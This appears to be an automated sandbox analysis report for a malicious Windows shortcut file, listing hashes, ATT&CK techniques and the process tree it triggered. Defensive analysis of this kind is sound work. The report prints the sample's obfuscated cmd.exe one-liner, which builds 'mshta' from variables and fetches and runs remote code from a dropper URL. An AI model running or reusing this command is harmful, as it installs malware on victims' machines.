c52f314031a27e8e9bc0fc758a9b0d766facbe0a47fb0a2efc7875638d02c241

Analysis

max time kernel
148s
max time network
115s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/08/2026, 08:25

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General

Target
DOC-J8FJSU.lnk
Size 1KB
Sample260804-kbm8msvfqc
SHA256 c52f314031a27e8e9bc0fc758a9b0d766facbe0a47fb0a2efc7875638d02c241
MD5 e5abedc18a5f586ff2a3b2cdad940db8
SHA1 73868ff7729281435a1acce1ae45ddc96f03f893
SHA512 93331b7f0868095d0e0f95cdddfe0b8266f85dfb40056100617dd7429e1e6c4144f3dd006996a43ac74beabea5bd21d26e78b7eef16c0d2c4f92259b8d931811
TLSH
T19A3197403EED0624F3B38E7385BF5B2485BEB8A58D20CA2E0081454C1422A15E17AF67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3276	cmd.exe
5564	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 5564 wrote to memory of 3276	5564	cmd.exe	89
PID 3276 wrote to memory of 4136	3276	cmd.exe	90

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-J8FJSU.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5564
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /v:on /C "set bfAH=msh&&set dRUYa=ta&&start "" !bfAH!!dRUYa! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3276
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:4136

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads